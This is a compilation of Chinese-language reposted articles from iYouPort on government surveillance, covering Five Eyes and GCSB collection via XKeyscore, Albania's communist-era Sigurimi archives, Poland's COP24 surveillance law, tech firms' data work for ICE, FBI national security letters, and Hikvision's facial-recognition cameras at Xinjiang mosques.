时间为 2009 年7月的一份 GCSB 文件说，有计划将 Waihopai 的情报基础转变为“全面收集”（见文章末尾的文件）。这个短语是在之前的 Snowden 文件版本中看到的，意味着所有内容都被收集—通讯消息内容、互联网流量和通信数据—包括电话元数据等一切。

2009 年晚些时候的文件显示，GCSB 的 Waihopai 基地预计“在10月份之前开始运营全面收集任务”，通过基地的卫星天线。

到 2012 年，一份英国情报文件称，间谍活动的扩大已经取得进展。文件写道：“GCSB 让我们可以访问他们的 XCSS [XKeyscore] 在 Ironsand 和[Waihopai]的部署，这是一个 GCSB comsat [通信卫星] 网站，该网站为南太平洋地区提供丰富的数据。我们可以从此网站访

问精选数据并完整提取我们所需要的东西“。

「图」

「图」

——概述——

曝光的内部文件显示，新西兰情报机构 GCSB 的间谍所展示的关于如何操作 X-Keyscore 监控程序的教学幻灯片，该程序可以搜索大量收集到的电子邮件地址、电话号码、在线聊天、基于网络的电子邮件内容和其附件;

他们知道其他五眼合作伙伴的外交间谍活动，包括间接间谍活动，例如加拿大间谍捕捉巴西总统和她的助手之间的电子邮件、短信和电话;

文件透露了国家安全局如何故意将系统后门纳入私营公司的计算机网络;

还有一个名为“Homing Pigeon”的计划，该计划允许对喷气机乘客的空中通信进行监控;

一份美国国家安全局文件告诉新西兰及其他“五眼”情报合作伙伴，他们的目标是“全部了解”，“全部收集”，“全部利用”和“全面合作”;

另一张 NSA 幻灯片详细介绍了新的入侵技术，其中表示间谍机构离’收集一切’的目标更近了;

Five Eyes 会员定期分享他们的大部分监控活动，每年都会参加一个信号发展大会，在那里他们夸耀自己的扩张和前一年取得的“成功”;

在资金和员工人数方面，GCSB 可能是五眼联盟中最小的参与者，但由于新西兰在世界上的位置，该机构被视为重要的参与者;

文件显示，大规模收集有关亚太地区贸易伙伴和邻近岛屿国家政府的情报。新西兰情报部门证实了这些细节，并告诉“新西兰先驱报”，GCSB 正在监视南太平

洋国家的政府部长和高级官员、政府机构、国际组织和非政府组织;

新西兰总理拒绝讨论此事，该国官员对此有着矛盾的说法;

这里是具体文件："2009 年 GCSB 信号情报部门的报告讨论 NSA XKeyscore 系统的大规模拦截和技术培训"

From: 1. How the GCSB collects information about Kiwis through spying on the Pacific—and why it's legal；2. Snowden GCSB revelations: GCSB 'breaking the law'—Russell Norman 3. NEW ZEALAND SPIES ON NEIGHBORS IN SECRET "FIVE EYES" GLOBAL SURVEILLANCE 4. Snowden docs: GCSB links to US spying programmes 5. Report confirms the GCSB was spying on the Pacific—but it's legal

原文

丑陋的现实：在共产党阿尔巴尼亚的秘密档案中挖掘真相 - iYouPort

老大哥的真面目

艰难和痛苦的清算，近三十年也没能完成。变革也许能在一夜之间达成，但噩梦不会在短时间内醒来。追责可能会遭遇层层阻碍，但让年轻人知情，也许能给这个国家的未来带来一点希望

「图」

「图」

二十七年前，即 1991 年2月，Gentiana Sula 站在成千上万的阿尔巴尼亚人中间，他们在首都地拉那的中心广场推翻了该国独裁者 Enver Hoxha 的法令。

20世纪90年代初，Sula 参加了那场规模宏大的学生运动，希望结束 Hoxha 的斯大林主义政权对该国施加的长达45年的隔离 – 抗议活动引发了全国范围内的示威和共产党政权的崩溃。

但是，尽管阿尔巴尼亚在近三十年前就打破了共产党的统治，但是，处理过去虐待问题的过程至今仍处于初步阶段。

Sula 现在管理着阿尔巴尼亚信息获取管理局，这是一家成立于 2016 年的国家机构，负责收集臭名昭著的共产党时代的“Sigurimi 特勤局”档案，解密信息并提供给政权受害者或他们的亲戚，让他们可以访问与他们自己有关的文件。

“我们需要花时间了解真相，”Sula 说，“几十年来，我们一直生活在一个虐待系统中。

“我的女儿也问我，’妈妈，值得这么深入吗？’，我告诉她我们需要知道发生过什么”。

该管理局是在阿尔巴尼亚议会于 2015 年5月通过的一项法律，以开放共产党时代的秘密警察档案后成立的。管理局还有权对政党官员和公职人员进行检查，看看他们在此期间是否是警察的帮凶。

截至去年9月，该管理局已回应了 600 多项请求。

“我们是提供信息访问权的组织。但我们注意到的是，仍然会存在恐惧。Sula 解释说，每个人都是[受害者]或与受害者相关，人们会感到焦虑，因为他们不知道会[从这些档案里]发现什么。

「图」

「图」

共产党时代政治犯的纪念碑

近五十年来，阿尔巴尼亚人一直在受到监视。距 Sula 的办公室仅几公里的地方就是前共产党领导人 Hoxha 的故居，他领导了一个残酷的政权，夺走了数千人的生命。直到今天为止大约有 **4,000** 人仍被列为失踪者，包括 **Sula** 的祖父。

Hoxha 的别墅现在已被遗弃，位于 Blloku 区，在他的统治时期此处由士兵和 Sigurimi 特勤部门的特工守卫，只允许顶级党员居住在周围。

今天，Blloku 是咖啡馆、现代商店和酒吧的所在地，象征着地拉那的新形象，但在此之前它是 Hoxha 极权主义国家的象征，其封闭的边界几乎没有逃脱的机会。在他的独裁统治下，约有18,000 人因政治原因被监禁; 约有 6000 人被处决。

Hoxha 控制阿尔巴尼亚人生活的主要机制是 **Sigurimi** 这个间谍机构及其大规模监视网络。**Sigurimi** 在阿尔巴尼亚有大约 **15,000** 名合作者，其中有 **1,000** 名特工和 **11,000** 名线人—— 这个比例值得深思。该机构的间谍在地拉那遍地都是 – 酒店、大使馆、邮局甚至杂货铺。

最近，著名的阿尔巴尼亚建筑师和画家 Maks Velo 发现，自己的朋友和亲戚也作为告密者参与其中。他的好朋友、也是另一位画家，就是当局的线人。

“我很震惊地得知他甚至向 Sigurimi 报告了我们之间关于毕加索的谈话。如果没有档案解密，我永远也不会想到我会由于这样的谈话而遭

到监禁，“他说。

在 Hohxa 掌权时代主要工作是设计酒店、学校和公园的 Velo，在 1978 年被共产党官员指责表达“现代倾向” 而被判入狱。

他被指控“对现代性进行煽动和宣传”，而被判处十年徒刑和苦役！Velo 于 1986 年获释，然后被迫在一家工厂工作，直到共产主义垮台。

本月，该管理局向他提供了一份长达 250 页的文件夹，其中就包含了 Sigurimi 对他的监视记录文件。

“我身边的熟人中大约有20个人都是当局的线人，那个建筑师朋友不仅彻底破坏了我的生活，也破坏了我家人的生活。更令我惊讶的是，到目前为止，这些人都没有来找我说：“我很抱歉，” 他说。

「图」

「图」

House of Leaves 现在设有秘密监视博物馆

秘密监视博物馆

虽然大多数档案仍然没有被公开，只有被隐蔽监视的目标及其家属可以看到，但当局近年来决定将共产党时代的最臭名昭著的地点作为地标，并在那里提供了一些档案 —— 比如前 Sigurimi 总部。

这座名为 House of Leaves 的建筑现在设有“秘密监视博物馆”，该博物馆为纪念极权主义政权的受害者而建立，并展示了 Sigurimi 数十年来使用的残酷战略。

“这个博物馆致力于那些在共产党政权期间被监视、逮捕、起诉、定罪和处决的无辜人民，”博物馆的一个标志牌上写道。

它的收藏包括特工使用的监视设备 – 收音机、电话和放在衣服、箱子和壁橱里的特殊“虫子”- 实际上是监听器。Sigurimi 的代理人则被称为“活麦克风”，因为他们会随时随地携带“虫子”，从杂货店到邮局、酒店和大使馆，都能获取情报。

该博物馆还展示了该政权的敌人 – 也就是任何在阿尔巴尼亚反对共产党议程的人。

秘密监视博物馆正试图编制一份在共产党统治的 50 年期间被杀和被起诉的人的名单。

但是，阿尔巴尼亚的许多人认为，政府目前正在做的所有努力都来得太晚了，而且并不真诚。

共产主义犯罪研究所历史学家兼副主任 Celo Hoxha 表示，尽管 2015 年立法启用了秘密服务档案的开放工作，但还远远不够。

他说："法律只对那些受到迫害的人和其家庭有利，因为他们是唯一可以看到文件的人，而不是普通大众。" 正如中国读者所能体会到的，一个糟糕的政权统治下，所有人都是受害者，而非仅仅入狱和服刑的人。

他的研究所一直位于阿尔巴尼亚努力处理共产党遗留问题的前列，他主张采用清洁立法，主张文件全面公开将会"对整个社会来说更有意义"。

该研究所建议参与 Sigurimi 的所有人从其官方职位上撤职并接受审判，也就是清算。这个想法自20世纪90年代初以来一直存在，但是从未制定过法律。

Celo 争辩说，尽管共产党政权在20世纪90年代初被拆除，但与 Sigurmi 一起工作的人在很长一段时间后仍然留在国家机构内部，阻止该国向前推进，由于他们的存在而难以对过去的罪行追究责任。

只有少数人因共产党时代的罪行受到审判，但大多数人在服完部分刑期后就被释放了。

由于似乎没有官方准备成功起诉，Celo 的研究所正专注于登记该政权的受害者，尽管它没有放弃努力实现清算。

然而，纪念共产党政权下的受害者的机构能力和资源都有限。由于已经过去了这么长的时间，工作面临着各种问题，目击者陆续死去，而许多受害者是独裁政权晚期的受害者，由于经历时间较短不足以得到承认或赔偿。

分散在全国各地的监狱大部分仍然没有取消标记，而许多家庭仍在搜寻失踪的亲人。

许多人希望，在20世纪90年代初期无法获得的新技术和 DNA 测试、以及最近在阿尔巴尼亚开展工作的国际失踪人员委员会的努力，将可

以为此取得突破。

「图」

「图」

面对’丑陋的真相’

秘密文件管理局正在计划新的场所来保存收集的 Sigurimi 档案。但像 Hoxha 这样的历史学家警告说，有很多这些文件在很久以前就被政权毁掉了。

Celo 和 Sula 都希望与年轻人一起工作，可能会改变这种状况。近年来，他们的组织举办了很多讲座，开办暑期学校，并为那些对过去的虐待知之甚少的年轻学生组织学习考察。

“这个社会仍然需要进一步的开放，” Sula 说，“我们必须得到真相，即使这需要很长时间，并且其过程会非常痛苦。”

画家朋友告诉 Velo 说，面对过去的真相的过程对年轻的阿尔巴尼亚人来说很重要。

“一个年轻人应该明白，如果你做了错事，总有一天你会被追究责任。他们还需要了解共产党时代的苦难是真实的，并看到那个政权真正的犯罪证据“。

他认为自己做了正确的事情，要求查看文件，然后公开 Sigurimi 的线人名字。

“我们的社会需要面对这个丑陋的事实。我们需要保持开放而不再隐瞒，“他说。■

原文

以“开会”为名实施侵入性监视，右转的东欧如何形同中国？ - iYouPort

地缘政治老大哥的真面目

“又要开会了”。这句中文不论任何人说出来，其他人都能立即明白它的意思。没错，它意味着维稳。因为“开会”并不是主要目的，制造社会紧张感并借机进行侵入性监视，才是真正目的。波兰做了同样的事，甚至更狠。他们是怎么做的？欧盟能遏制波兰的威权主义走势吗？

「图」

「图」

一项新的“波兰法律”采取全面的监视措施，威胁言论自由，甚至危及到计划于今年晚些时候在波兰卡托维兹举行的重要气候会议是否能取得成功。

COP24 会议被称为“巴黎 2.0” — 2015 年巴黎气候变化会议的重要后续行动，巴黎气候协议在该会议上进行了谈判。预计12月将有来自世界各地的大约 40,000 人涌入工业城市，参与国将决定执行历史性气候协议的规则手册。

在会议召开之前，越来越多的国际非政府组织和联合国机构对波兰议会通过的一项法律提出了关切：一项关于波兰共和国联合国气候变化框架公约缔约方组织会议的具体解决方案的法案。

虽然绝大多数法律只是建立了管理如何主持和资助会议的规则，但其中一项法规允许波兰当局“收集、获取、搜索、核实、处理和使用任何信息，包括被认为“对公共安全和秩序构成威胁”的人的个人数据，也包括在波兰共和国境外的人“如果有‘合理的假设‘他们将留在波兰的话”。

在其他地方，法律授权波兰当局向其他国家征求有关来自国外的

COP24 与会者的信息，包括被国家监视收集的任何警方记录和情报。

这些信息可以在当事人“不知情或不同意”的情况下收集，并在 2019 年 3 月之前一直被波兰当局存储。该法律将禁止卡托维兹市内的自发抗议活动，只允许提前获得城市批准的示威游行。

波兰公民自由组织 Frank Bold Foundation 的主任 Bartosz Kwiatkowski 称波兰的 COP24 措施“完全违宪”。但并不罕见。

“这不是什么新鲜事，”Kwiatkowski 说，“以前引入过类似的规定。从我的角度来看，没有任何恐怖主义威胁或安全威胁可以证明引入这种严厉的规定是正确的。这是一个当局收集非政府组织数据的机会。“虽然法律本身没有具体说明将收集哪些类型的信息，但 Kwiatkowski 怀疑，根据以前和现有的规则，当局将收集有关 **COP** 参与者的元数据 — 日志例如：电话、短信和电子邮件等。

新法律是在整个东欧转向保守政治的大背景下进行的。现在统治匈牙利的右翼 Fidesz 党最近在选民投票率达到创纪录的胜利后取得了巨大的成功，此举被认为是一种恐吓战术，与政权关系密切的匈牙利杂志最近公布了 200 名记者、学者、反对派的名单，它声称政治家和非政府组织代表是由匈牙利出生的亿万富翁乔治索罗斯资助的“阴谋”的一部分 — 这是世界范围内一些反犹主义阴谋理论的目标之一。

6月20日，议会通过了一系列“阻止索罗斯”的法律，规定禁止向无证移民提供援助、并对从事这类援助工作的非营利组织征收 25% 的惩罚性税收。反索罗斯措施还限制了非政府组织工人跨越匈牙利边界的自由。

「图」

「图」

甚至在目前的右翼政党上台之前，波兰就制定了侵入性"数据保护法"，要求电信公司在警察要求时必需移交元数据。波兰政府在 2016 年北约峰会之前以及在当年教皇访问之前也推动了类似于其 COP24 法案中的规定，再次援引“恐怖主义威胁”为理由，将监视入侵合理化。 **2016** 年的法律授予国家安全部门在没有法院命令的情况下对外国公民进行长达 **3** 个月监视的权利。它还延长了嫌疑人可以在没有被起诉的情况下被拘留的时间从 **48** 小时延长到 **14** 天，当局甚至要求法院命令长期拘留嫌疑人。

- 延伸阅读：为什么大规模监视根本无助反恐，只是压制社会的借口？《"//可怕的“连点成线” 和互联网审查 — — 监视之恶（四）“反恐”歧途//"》

“举办联合国会议不应被搞成以削弱公民自由的方式加强警察权力的机会，”国际环境法中心气候与能源项目高级律师 SébastienDuyck 说。 CIEL 和其他几个国际非政府组织对该法案严重违反“奥胡斯公约 The Aarhus Convention ”的行为表示关注，该公约确保公众可以获取有关环境问题的决策信息并参与其中。 “从人权的角度来看，缔约方会议被用作了加强压制波兰抗议者的论据，这一事实尤其具有破坏性。”

Duyck 担心，过度关注与 COP 相关的安全和治理问题可能会分散谈判的实际内容，这对全球人的生活和生存具有最大意义。正如他指出的那样，COP24 将成为自巴黎以来“最重要的COP”。 “巴黎协定”缔约方将最终确定具有里程碑意义的协议将如何实现，并评估应对气候变暖的初步努力。民间社会团体担心，对通常围绕这些谈判的抗议活动的限制也可能释放谈判者的野心：如果国家代表团感到环境活动家的热度减少，他们更加的不可能妥协。

计划参加 **COP24** 的一些国际组织认为该法案不仅是对会议生产力的威胁，而且是政府针对环境倡导者的更广泛的、反民主的趋势的一部分。这方面的反对者包括菲律宾的科迪勒拉妇女教育行动研究中心 — 一个岛屿国家，气候变化和海平面上升带来了紧迫的危险；CWEARC 的研究和出版协调员 Alma Sinumlag 与其他 81 个全球性的南方民间社会团体一起谴责波兰法律，谴责它设立了一个“危害”欧洲公约“所载的基本人权和基本自由的危险先例”。

“在菲律宾，对环境维护者的攻击不断升级，”她通过电子邮件告诉 The Intercept。 “国家安全部队一直在监视活动家们，通过短信骚扰他们，通过性格暗杀诋毁他们的工作，提起诉讼，进行非法逮捕和拘留，把环境维护者称之为恐怖分子，并实施额外的司法杀戮。 ”

宣传组织 Global Witness 的一份调查报告指出，菲律宾是世界上第三个对环境活动家来说最危险的国家。仅在 2016 年，就有至少 28 名环境维权者被杀，其中大部分是被矿业公司雇用的准军事组织来镇压对该国新兴煤炭部门的反对。去年全球至少有 197 名环境维护者以平均每周约四人的速度被杀。 Sinumlag 写道：“当人们担心生命安全时，行动主义正在成为一个可怕的词。”

在民间社会团体的敦促下，联合国各机构向波兰环境部发出了信函，

这些部门负责监督 COP24，以及联合国气候变化框架公约局，该局主要负责缔约方大会。五名联合国特别报告员还于 4 月底向波兰政府发出了一封联合信，表达了他们对监控法的担忧，指出“法律的实施可能会导致侵犯人权行为，这可能被视为对个人与联合国合作的报复行为“。

波兰当局坚称是“为了安全”，环境部长 Henryk Kowalczyk 办公室的代表在对 Intercept 的扩展声明中写道，“由于会议的重要性和性质，以及与之相关的具体恐怖主义威胁，对于保护国家安全和公共秩序的服务来说，这是一项重大挑战，波兰警方已准备好面对“……陈词滥调。

实际上，COP24 将不会是“加强安全措施”的第一次气候谈判。产生巴黎协议 **COP21** 的会谈是在巴黎夜总会和餐馆"屠杀 130 人"后几天举行的。

会议开始时，法国处于紧急状态。整个示威活动受到压制，参与 **COP21** 规划行动的活动人士被警方搜查，并被软禁。Duyck 告诉 Intercept ，COP24 立法的不同之处在于法律“针对缔约方会议的具体个人自由”，因此谈判本身被用来作为限制言论自由的借口了。

Kowalczyk 的办公室为法律辩护，因为它类似于波兰警方对涉嫌犯罪的人已经拥有的权力。毋庸置疑，这种立场假定参加气候谈判的民间社会团体成员被视为了“潜在的安全威胁”，甚至是“恐怖分子”。

波兰是一个严格的气候规则的长期敌人 — 现在却由该国主持会谈。当 COP24 的会议地点宣布时，"环保人士批评"政府选择在卡托维兹举行会议，这里是波兰煤炭的国家核心。多么的讽刺：这座城市本身就是欧盟最大的煤炭公司 PolskaGrupaGórnicza 的所在地，批评者担心这种安排旨在对谈判产生抑制作用。

至少有一个先例可以验证环保者的推测：一个企业监督组织将 2013 年在波兰首都华沙举行的 COP19 描述为“我们曾经历过的最多企业气候谈判。”在被视为一种不明智的政治信息中，波兰政府在 COP19 气候大会的"同时赞助"了国际煤炭与气候峰会。再一次，多么讽刺。

环境部引用华沙谈判作为证据认为“ COP24 对公众参与是开放的”，并指出它邀请了商业代表和区域及市政府官员参加。但正如 Duyck 指出的那样，“这两个群体都不会被视为’公众’的一部分 — 根据”奥胡斯公约“的要求参与其中。”商业利益将占据谈判的前排座位，并不能完全消除活动人士关注的问题，公民社会已经被拒之门外了。

Kowalczyk 试图向联合国气候变化框架公约保证，它“将要求卡托维兹市长建议在第二十四届缔约方会议期间允许在该市内举行公开示威的程序。”联合国气候变化框架公约执行秘书 Patricia Espinosa 同样向民间社会团体保证“进程”在联合国官方区域内要求和平示威的情况保持不变。“

但 Duyck 表示，波兰政府的回应“几乎没有解决实质性问题……表明对法律问题缺乏了解。”

波兰政府的威权主义崛起得到了欧盟的承认。欧洲议会有史以来第一次通过去年12月的第 7 条规定指控这一欧盟成员国违反法治。此举是在波兰议会实施新规则允许法官因政治分歧而被解职、使法院的独立性受到质疑之后，发生的。就在今天，欧盟正式启动针对波兰政府的法律诉讼，辩称一项新法律将迫使该国 72 名最高法院法官中的 27 名“提前退休”，这违反了“欧盟条约”的第19条。

所有这些使得 Kwiatkowski 对 COP24 措施将被逆转持怀疑态度。他说，已经有大规模反对各种右翼政策的示威活动，但“人们已经厌倦了。”他解释说，政府一直在推动公民自由的倒退，并且“在引入它们方面非常成功”并且纳入了法律。通常，宪法法庭 — 波兰司法部门的一部分 — 会听到对该规则的反对意见，但 Kwiatkowski 说，“它是如此政治化，以至于根本没有机会。

Kwiatkowski 认为新法律不应该阻止任何人参加 COP24，但他敦促那些人们立即采取预防措施，如加密电子邮件和短信。

“我们所有人都希望他们的疯狂会在某个地方停下来，我们所有人，希望民意调查会能显示出他们对公民提出这些侵权规定后的变化……不幸的是，这种情况并没有发生“，Kwiatkowski 说。

"POLAND’S NEW SURVEILLANCE LAW TARGETS PERSONAL DATA OF ENVIRONMENTAL ADVOCATES, THREATENING U.N. CLIMATE TALKS"

by Kate Aronoff

July 2 2018, 7:28 p.m.

原文

报告：老大哥正越来越多地外包给硅谷，以令当权者逃避问责 - iYouPort

公私监控伙伴关系老大哥的真面目

移民和隐私活动家正在详细介绍大型技术公司 – 尤其是亚马逊等 – 与军方、ICE 以及当地执法部门的关系；民主就基于公民有权问责，而现在，这项权利正在被*外包*所动摇

「图」

「图」

长期以来，联邦和地方政府一直依赖私营公司提供国防和“执法”技术，从洛克希德马丁公司的喷气式战斗机到博思艾伦汉密尔顿的数据分析。但越来越多的政府正在扩展到通常的国防承包商之外，那些提供免费送货和在线电视的公司。

“对我来说令人震惊的是了解联邦授权如何允许亚马逊在政府信息存储方面拥有如此至高地位垄断权”，移民倡导团队 Mijente 的现场组织者 Jacinta Gonzalez 说。随着国家移民项目和移民防御项目的推进，Mijente 资助了一份新的报告，题为“谁在 ICE 的背后？：技术和数据公司正在加强驱逐出境”。

- 延伸阅读：《手机元数据和 Facebook 个人信息如何决定了一个人的命运？—— 逃难之旅的新坎坷》英国警方得到了以色列移动监视公司 Cellebrite 的帮助，使用他们的软件，官员可以访问搜索历史记录，包括已删除的浏览历史，还可以从某些 Android 手机中提取 WhatsApp 的消息！

该调查结果基于合同、备忘录和公司财务报告等文件，这些文件都是公开的，但需要大量挖掘才能破译。（也就是我们支持的开源调查 #OSINT）

虽然亚马逊在其中扮演着主角，但该报告还详细介绍了包括 Peter Thiel 的 Palantir，NEC 和 汤森路透在内的很多公司，在存储、转移和分析移民和美国公民数据方面的参与情况。美国政府正在将其数据库从联邦设施转移到云提供商，尤其是亚马逊网络服务（AWS），引发了对问责制的担忧。

“这些合同以技术服务形式让公共部门向私营部门转移了自由裁量权和权力”，华盛顿州公民自由联盟 ACLU 的技术和自由项目主任 Shankar Narayan 表示。Narayan 的工作位于总部西雅图，负责追踪亚马逊在执法方面不断增长的作用，例如其最具争议的面部识别技术，被称为 "Rekognition" 的玩意，直接将议员标记成了嫌疑犯。

而像 Mijente 这样的团体提请注意：联邦移民和海关执法局（ICE）和当地执法部门使用的数据收集程度。人民已经开始警觉，“当地人越来越多[对我们说]’他们如何掌握我的税收信息？’ 他们如何获得有关我开车路线的信息？”“ Gonzalez 说。

她也看到并亲身体验过公共生物识别数据的收集。“当我在 2013 年和 2014 年在新奥尔良工作时……ICE 阻止任何看起来像拉丁裔的人，“Gonzalez 说，“他们正在用手铐对那些人实施控制，并使用移动生物识别设备对他们进行指纹识别。”

Gonzalez 本人是墨西哥出生的美国公民，2016 年3月，她参加了在菲尼克斯举行的反对当时候选人唐纳德特朗普的公民不服从抗议活动，期间被捕，随后直接被转送到了移民局。（她被捕后拒绝向当局提供信息，以澄清她的法律地位）

去年11月，Mijente 与其他组织一起提起诉讼，要求 ICE 提供有关其在美国几个城市进行的一系列袭击移民计划的详细信息，该计划名为“Operation Mega”。

ICE 有权执行美国移民法，但是，它面临着对包括美国边境家庭分离等策略的广泛谴责。Gonzalez 对 ICE 如何使用其实质性技术工具深表怀疑。“他们拥有能够监视你一切的技术，但他们无法保护你的孩子，当他们把孩子从你手臂上扯下来的那一时刻开始。”

活动人士说，缺乏透明度会加剧对政府如何使用技术和数据的不信任。“我认为我们已经提出了这种担忧，例如围绕面部识别”，Narayan 说，“它是无法被察觉的，它可能无处不在，政府甚至不必真正确定他们将跟随谁。” 但完全有理由担心这种监视将超出移民执法和犯罪范围，他说，想想20世纪60年代对纽约市穆斯林社区进行政

治监视的历史。

现在的问题更大了，大在“外包”上，由于技术和数据被掌握在私人手中，获取信息的难度更大。“这是使这些技术难以被监督的主要原因，更不用说制定一些问责标准了，” Narayan 说。“你无法破解那个黑盒子，因为这些实体被商业机密法保护，他们会使用所谓的计算机欺诈和滥用法案来防止任何人监督测试他们的产品。”（计算机欺诈和滥用法案就是中国人常说的“计算机流氓罪”）

我们无法让这些大公司负责。公民权是对政府问责，现在政府把责任推给了大公司，通过外包恶行以逃避监督，民主如何维系？

- 延伸阅读：硅谷从来都是当权者的工具《How The CIA Made Google》
- 大型科技公司如何一直在帮助间谍活动《Spies for Hire》
- “大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”……《The Real War on Reality》

如果我们想要一个真正的民主，那么首先就需要了解什么是“伪民主”，当权者如何玩弄法律以实现自己的野心。公民有必要时刻警惕，以避免这些状况的发生。将本文推荐给中国读者，希望美国成熟的公民社会经验能在中国获得借鉴。〇

原文

新文件显示政府间谍对信息的秘密索取远远超过监视资本家 - iYouPort

公私监控伙伴关系老大哥的真面目

曾经一些观察家认为：美国公民更担心寡头监视而不是政府监视，中国公民相反，比较担心政府监视而不是寡头监视。IYP认为这两者都有偏颇

「图」

「图」

最近发布的文件显示，FBI 近几年已经向包括电信提供商、技术公司和信贷机构在内的120多家公司发出了大量的秘密书面信息索取要求，这引发了人们对政府悄悄收集公民数据能力的新疑问。

这些数据索取是在没有法院监督的情况下发出的（称为国家安全信函或NSL），通常伴随着针对公司的禁言令。被拿走数据的人很少了解NSL，也没有机会在法庭上质疑其要求。

公民自由组织电子前沿基金会通过《信息自由法》诉讼发布的新文件强调了对2015年法律的有效性的持续质疑，该法律表面上旨在部分地为NSL的发送和执行带来一定的透明度。

文件显示，收到NSL的公司排名前位的是信贷机构 Equifax、Experian 和 TransUnion；电信提供商 AT＆T、T-Mobile 和 Verizon；金融服务公司 美国银行、西联汇款和 Capital One；科技寡头 Google、Microsoft 和 Facebook。其中有些收到几十个NSL，其他的收到几个。

- 在这里看到这些公司如何出卖公民反抗者《他们是如何抓捕说真话的人？⚠灾难和教训》

以上这些公司没有任何一家对这些披露发表评论。

该法律特别允许 FBI 随意向这些行业的公司发送 NSL 数据索取要求。纽约时报首次报道了EFF获取的新文件的出版情况。

一些技术公司已公开其收到的NSL信息，在某些情况下，还发布了经过编辑的NSL，以提高人们对这种做法的认识，在定期报告中发布了其数量表，或在法庭上与禁言令作斗争。

其他行业的公司，例如 电信和银行业，通常都已经满足政府间谍对信息的需求，政府官员声称，“这对进行恐怖主义或情报问题的调查至关重要”。

自9/11以来，政府已经发布了成千上万的 NSL，这促使政府从私人公司保存的记录中收集数据的范围不断扩大。斯诺登的书中对此有更多详细说明。

- 在这里下载斯诺登的书 **完整中文版**：https://t.me/iyouport/6935

EFF公布的文件记录显示，FBI 在审查过程中考虑了将近12,000个禁言令，并取消了其中的6%。FBI拒绝对文件发表评论，他们每年发出数千份新的NSL。

总部位于旧金山的EFF资深律师 Andrew Crocker 说：“发送这些信函的速度比取消它们的速度快得多；所以整体是增加而不是减少。”

NSL 是 FBI 发出的书面指令，要求提供私密的通信记录或财务交易记录。它们最常用于获取电话和电子通讯记录，也用于获取财务记录和消费者信用信息。

尽管NSL的历史可追溯到1980年代，但FBI在2001年911之后将其用作调查工具的次数激增。

彻底改革NSL的使用源于广泛的公众反对，自从前国家安全局承包商 Edward Snowden 揭露了大规模监视暴力的内幕以来。斯诺登提供的文件显示，世界各地的人们共享的电子邮件、电话聊天或与亲人进行的视频通话，每时每刻都被政府全面监视着。

- 在这里看到斯诺登文件中文完整版介绍《互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场》

与国家安全局的技术数据收集工具相比，NSL 是一种更有针对性的信息收集方式，但长期以来，由于缺乏司法监督和透明性，隐私权和公

民自由倡导者对此不断提出指责。

搜查令需要得到法官的批准。但NSL的法律标准很低：只要能说明所寻求的记录与调查有关就行。

为NSL辩护的官员说，他们允许调查人员在敏感案件中追踪线索，而目标却不知道自己正在被视为嫌疑而受到监视，这种策略可能会加快逮捕速度……○

Secretive FBI demands for information go far beyond tech companies, new documents reveal

原文

是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？ - iYouPort

作恶者：谁在帮中国老大哥的真面目

> 在一党专制的国家里，几乎没有机会对面部识别系统作出有效的限制

海康威视公司赢得了一项中国政府的招标，该招标要求在中国部分地区的每个清真寺（总共近1000 个清真寺）的入口处设置面部识别摄像机，这种监控严重违反宗教自由和人权。

与西方不同，在中国，宗教团体受中国政府的直接控制。而现在，这些清真寺必须允许中国政府建立并使用面部识别摄像机进行监控，使当局能够对参加宗教服务的人员加强警戒，以及搜索人们出入清真寺的时间和频率。

这引发了一些重要问题：

- 如何允许政府使用面部识别？
- 技术提供商（如海康威视）对面部识别的使用有何限制？

海康威视以约 4600 万美元的价格赢得了 2017 年政府合同，在新疆的墨玉县建立了广泛的监控系统。该项目被称为“墨玉县社会面防控体系 PPP 项目“。

该项目是海康威视和 Dahua 自 2016 年以来在新疆赢得的价值 "12 亿美元"的大规模监控项目之一。媒体和活动人士指责中国正在打造一个监视国家。

法新社报道说，其最初的招标包括在新疆的“再教育（洗脑）”中心使用的六台摄像机，据称中国拘留了数十万维吾尔族和其他少数民族的穆斯林公民，因此墨玉的项目备受关注。

面部识别技术细节

最具侵入性的标志是面部识别技术的大量使用，因为招标需要：

> *967 facial recognition cameras to be placed at the entrance of each of the 967 mosques in Moyu County.* 清真寺安防子系统在入口处设置,墨玉县有 *967* 个清真寺, 需购置摄像机 *967*台

面部识别相机包含以下技术细节：

- 最低分辨率为1920×1080，TVL（清晰度）至少为 1100；
- 能够在—40 至 70 摄氏度的极端温度下运转良好；
- 加密的 SD 卡存储量为 256 千兆字节，只能从后端访问；
- 能够处理“大批量”的面部数据。

然而，招标没有提到面部识别技术所需的准确度水平，这是一个重要的问题，意味着技术的不成熟和错误识别的几率。

“视频会议布道需要国家批准“

该项目还包括更多针对清真寺特点的视频监控和审查系统，例如视频会议系统，用于在墨玉县民族事务委员会的“视频会议中心”播放“统一”布道。简而言之，这样的制度是为了禁止任何传道人举行自己的布道。

每个清真寺有 **5** 台以上的政府监视摄像机

海康威视项目为清真寺增加了 840 个监视摄像头（这还不包含面部识别摄像头）这一监视系统是子弹型摄像机、半球型摄像机、以及夜间全彩球型摄像机的组合。

招标估计，墨玉县 967 个清真寺中每个清真寺都已经安装了 5 个监视摄像头，总共约 4,835 个摄像头。那些现有的摄像机将集成到新的监控系统中，即 **967** 个面部识别摄像机 ＋ **840** 个圆顶型/子弹型摄像机组成的系统。

海康威视在洗脑中心的项目

海康威视的招标赢得了为墨玉县“再教育中心”提供的六台全景摄像机（独立实现大范围无死角监控的摄像机）总分辨率达到 8MP：

> 内置镜头，带有*8*个图像采集模块，需要输出*1*个主视觉效果视频和 *8* 个辅助视觉效果视频；系统应该能够拼接八个辅助视频，形成两组 *180* 度视觉效果

「图」

「图」

虽然招标没有列出海康威视使用的具体模型，但与此最接近的是 PanoVu 360° 系列，如左图所示。

海康威视的监视系统覆盖很多“再教育营地”，还没有其他文件显示更多的“再教育营地”使用了哪家供应商的技术支持。

中国大规模监视系统的“重大升级”

虽然新疆清真寺长期以来一直受到政府的严密监控—— 包括通过使用传统的监视摄像头，但面部识别技术的使用代表了“党国监督工作的重大升级”，对中国宗教自由的“寒蝉效应”。

澳大利亚拉筹伯大学（La Trobe University）教授 James Leibold 解释说：

